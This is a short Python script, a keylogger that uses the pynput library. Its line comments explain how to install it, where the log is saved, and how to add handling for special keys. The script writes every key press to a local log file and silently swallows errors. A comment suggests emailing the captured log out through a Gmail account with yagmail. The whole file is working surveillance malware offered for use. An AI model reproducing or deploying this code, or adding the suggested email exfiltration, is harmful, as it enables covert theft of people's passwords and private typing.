1#pip install pynput OR python3 -m pip install pynput
2#ONLY ONE MODULE REQUIRED
3from pynput.keyboard import Listener #add ", Key" here if you want to be able to act when keys like Enter and esc are pressed)
4#you can use the yagmail python module to email yourself the log with a gmail account when a key is pressed (if key.char == ... OR if key=Key.(esc, enter, shift))
5file = open("log.txt", "a") #save to the current directory. To save to another location use r'C:\Users\k\t\m\etc\log.txt'
6#NOTE - it does not matter if "log.txt" exists or not. Python will automatically create that file.
7def on_press(key):
8 try:
9 file.write(f'\n{key}')
10 file.flush() #save changes
11 except:
12 pass #ignore all errors
13listener = Listener(on_press=on_press) #you can also use "with listener as Listener(on_press...):"
14listener.start()
15listener.join()